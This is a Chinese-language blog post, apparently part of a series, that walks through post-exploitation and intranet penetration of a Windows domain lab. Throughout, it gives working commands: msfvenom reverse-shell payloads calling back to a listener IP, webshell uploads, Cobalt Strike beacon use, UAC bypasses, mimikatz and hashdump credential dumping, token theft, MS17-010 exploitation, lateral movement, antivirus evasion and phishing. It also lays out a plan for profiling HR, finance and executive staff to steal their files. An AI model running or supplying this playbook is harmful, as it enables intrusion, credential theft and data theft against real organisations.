当你的才华
还撑不起你的野心时
那你就应该静下心来学习
继续上一篇文章
获取服务软件与杀软
tasklist
如果目标机器上补丁过多,加上杀软齐全,就应该考虑放弃 exp 提权。
原因1:需要更多的时间消耗在对反病毒软件对抗。
原因2:目标机补丁过多,需要消耗更多的时间。
原因3:可能因为某些 exp 导致蓝屏从而丢失权限。
此种情况下示例提权思路:如目标机器上安装了 mysql,并与内网其中一台建立大量连接。就可以考虑 mysql udf 提权。
单个补丁安装情况查询:
systeminfo>snowming.txt&(for %i in (KB4519572 KB4287903 KB4287904) do @type snowming.txt|@find /i "%i"|| @echo no this padding: %i)&del /f /q /a snowming.txt
注:以上需要在可写目录执行。需要临时生成 snowming.txt,以上补丁编号请根据环境来增、删。
搜集安装软件以及版本,路径等
wmic product > insformation.txt
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
获取域组、用户
获取全部域用户:
net user /domain
获取域分组:
net group /domain
在域组中,其中有几个组需要特别关注:
1. IT组/研发组:他们掌握在大量的内网密码,数据库密码等。
2. 秘书组:他们掌握着大量的目标机构的内部传达文件,为信息分析业务提供信息,在反馈给技术业务来确定渗透方向。
3. Domain Admins 组:root/administrator
4. 财务组:他们掌握着大量的资金往来与目标企业的规划发展,并且可以通过资金,来判断出目标组织的整体架构。
5. CXX 组,如ceo,cto,coo等。不同的目标组织名字不同,如部长,厂长,经理等。
6. HR 组:他们的电脑中有大量人事信息,商业秘密等。
以 Domain Admins 组为例,开始规划信息探测等级:
【等级1】确定某部门具体人员数量;
【等级2】确定该部门的英文用户名的具体信息,如姓名,联系方式,邮箱,职务等。以便确定下一步攻击方向;
【等级3】分别探测白天/夜间内网中所存活机器并且对应IP地址;
【等级4】对应人员的工作机内网IP,以及工作时间;
【等级5】根据信息业务反馈,制定目标安全时间,以便拖拽指定人员文件,或登录目标机器;
【等级6】制定目标机器后渗透与持续渗透的方式以及后门。
探测等级1:
net group "Domain Admins" /domain
探测等级2:
for /f %i in (1.txt) do net user %i /domain >>user.txt
后面可以结合 meterpreter 获取反弹 shell、测试内网段在线主机、获取主机操作系统信息、获取端口服务开放情况等。
注:可以在不同的时段(白天/晚上)探测内网段在线主机。
在 iis appool\defaultappool 的权限下,逐步获取了如下信息:
1.该目标内网分配段
2.安装的软件
3.杀毒软件情况
4.端口开放情况
5.运行的服务
6.补丁情况
7.管理员上线操作时间段
8.域用户详细信息(英文 user 对应的职务,姓名等)
9.根据域内分组可以进一步确定攻击方向。如秘书组,如 hr 组等。
nc 反弹shell 来测试
后面操作就不操作了
MSF 反弹
使用msfvenom生成payload文件,使用菜刀上传到WWW目录下
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.206.135 lport=7777 -f exe -o agan2.exe
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.206.135 lport=7777 -f raw >agan3.php
上传生成的马子
msfconsole
此时走起,浏览器访问刚刚上传agan3.php
PS: 也可利用应用系统漏洞例如MS17-010(445端口需开启)获得cmdshell后使用sessions –u 1 将session 1 的cmdshell升级为meterpreter
服务端运行CS
客户端运行
通过webshell 上传cs 生成的木马,再次回到客户端cs 成功看到马子上线
CS生成的木马默认60秒回连一次,这就导致我们不能实时操作远程PC。通过修改sleep时间可以达到实时操作的功能,建议把sleep时间修改为1秒或0秒
在界面最底下有个beacon>输入框,这就是输入命令的地方。例如:输入shell calc.exe将会在被控PC上弹出计算器。输入help会显示帮助文档。
通过CS还能浏览被控PC的文件目录,实现截屏、端口扫描等功能,大家把每一个都试试。
ms14-058/ms15-051/ms16-016/ms16-032
这些都是大家耳熟能详的Windows本地提权漏洞,在此插件中都已经集成。
UAC-DLL
这是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的未修补版本。
uac-token-duplication
这是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的token启动任意进程。此漏洞要求攻击删除分配给提升token的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话。
Uac-eventvwr
这种提权方法是利用时间查看器eventvwr,通过注册表之后,执行Eventvwr.exe会自动加载我们的A.exe(exp),这个时候它的权限就是高了,成功绕过UAV。
Uac-wscript
这种绕过uac提权的方法最初是在Empire框架中现身的,该方法只针对Windows7有效。
当然也可以自己去下载最新的EXP 导入进来
点击开始
受害机cmd,运行mshta命令。mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。
提权成功,新增了一条会话,星号(*)表示该会话是一个提权成功的会话。
提权成功后我们再执行危险操作时被控PC就不会有UAC提示,被控目标也不会察觉。
beacon 为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs 该shell所支持的通信协议主要包括这几种,dns,https,http,smb[pipe],另外,beacon shell的内置功能也非常多
foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器
Beacon Commands
===============
Command Description
------- -----------
argue 进程参数欺骗
blockdlls 在子进程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect 通过TCP连接到Beacon
covert 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs 对当前令牌启用系统权限
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link 通过命名管道连接到Beacon
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文
Dump hash
点击view->Credentials
获取用户主机hash
第一张网卡
可以看到有三张网卡,本地连接的网卡有两个
简单收集一波命令,之前前面介绍的相关的命令
whoami
ipconfig /all
hostname
nslookup god.org
systeminfo
net config workstation
net view /domain
net time /domain
查询域控
域存活主机扫描
运行命令 Ladon 192.168.244.0/24 OnlinePC
发现报错,此时我们去github上下载k8哥哥的工具即可,真正的大佬
把Ladon.cna 下载下来就可以了
https://github.com/k8gege/Aggressor#cobalt-strike
CS4.0第三方脚本导入即可
探测到两台主机,还有一个我自己也没有遇到过
域内查找系统版本信息
Ladob 192.168.0/24 OsScan
域内探测系统开放的端口
Ladon 192.168.244.0/24 PortScan
查找域控
net time /domain
net group "domain controllers" /domain
我这里好像是我的环境有问题
域渗透分析工具BloodHound
shell SharpHound.exe -c all
我的还是出错,这里就直接截图别人的吧
Find Shortest Paths to Domain Admins
横向移动
因为192.168.244.0/24段不能直接连接到192.168.206.135(kali地址),所以需要CS派生smb
beacon。让内网的主机连接到win7上。
可以这么理解,就是192.168.244是内网,kali 是公网一台服务器,win7是具备了web服务和能跟DMZ区进行互相访问
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
选择psexec
选择
窃取token
steal token
选择steal token
如下内容来自如下链接:
https://mp.weixin.qq.com/s/hL9OYa7HDeMvUWdv99gtrA
https://mp.weixin.qq.com/s/nAGjUsre2Hg_IkCPXLxYDQ
CS和MSF联动使用MS17010扫描
最开始想使用CS的MS17010的利用插件。发现并不太好使,所以放弃。使用MSF。
下载地址:
https://github.com/phink-team/Cobaltstrike-MS17-010
因为只是想用msf的MS17-010测试效果,所以没有必要派生一个meterpreter 的 shell。通过beacon内置的socks功能将本地Msf直接代入目标内网进行操作即可。socks 1080
setg Proxies socks4:127.0.0.1:1080
setg ReverseAllowProxy true
CS派生Shell给MSF
建立监听
handler -p windows/meterpreter/reverse_tcp -H 0.0.0.0 -P 6789
CS创建外部监听器
选择刚才建立的外部监听器
成功上线,添加路由
msf的exp进行多次尝试之后只有两个成功。其他的exp都会蓝屏或者建立不了会话。分别为:
auxiliary/admin/smb/ms17010command
在2003主机上查看也发现成功。
那么我们可以远程开启3389或者远程让03主机下载win7上的木马等等方式拿到03的权限。
use exploit/windows/smb/ms17010psexec
set payload
windows/meterpreter/bind_tcp
设置相关参数,执行后即可拿到权限。
免杀payload
1.若目标主机存在杀毒软件等,payload上传后会被检测到并清除则需对payload进行免杀操作,使用msfcenom生成payload,这里的payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载到内存中。(shellcode是一段用于利用软件漏洞而执行的代码,为16进制的机器码,常常使用机器语言编写。)例如:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=XXXXXXX lport=11206 -f c (-e 选择制定的编码器,-i 编码次数,-b 去多余/坏字符),使用C语言编译器编写代码,对生成的shellcode进行执行,可直接加载到内存中,可采用内联汇编形式对机器语言进行编译等等。https://www.cnblogs.com/LyShark/p/11331476.html含多种语言多种编译后门方式。编译为EXE文件并到目标主机上执行,即可免杀。
2.使用多层编码解码对大马原文件进行加密,对关键字进行拆解免杀
关键字免杀
通常通过web漏洞获得的webshell权限较低,需要进行提权,利用msf中绕过UAC模块,首先background将当前会话保存到后天,session可以查看当前后台所有会话,每个session对应一个ID值,use进入模块,将参数session设置为噶保存的session ID值,直接exploit,执行成功后会返回一个新的
meterpreter,getsystem就可获得system权限。
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei #使用具体的exp,根据列出的具体可用exp而定
msf > set SESSION 1
msf > exploit
3.还可以利用windows MS系列未修补的漏洞进行提权 ,ms13-081、ms15-051、ms16-032、ms17-010等,search搜索模块,use使用模块,set session Id
4.用户登录windows操作系统时系统会给用户分配令牌,的那个用户访问资源系统是会使用令牌进行身份认证,若目标环境是域环境且域管理员登陆过有权限的终端即可假冒域管理员的角色
使用use incognito进入假冒令牌模块
List_tokens –u 查看存在的令牌
Impersonate_token 用户名(\)
5.使用hashdump和logonpasswords读内存和注册表密码,在Credentials模块下查看
6.使用LaZagne工具,用于查找本地存储的所有密码,将exe文件上传到目标主机上再执行
获得目标主机shell后开始进行系统信息收集
钓鱼攻击
钓鱼链接
或使用克隆网站
参考链接(大部分内容来自如下文章):
https://mp.weixin.qq.com/s/hL9OYa7HDeMvUWdv99gtrA
https://mp.weixin.qq.com/s/nAGjUsre2Hg_IkCPXLxYDQ
https://mp.weixin.qq.com/s/QLoXt5JTjHreUkZIg1uW3g
虽然我们生活在阴沟里,但依然有人仰望星空!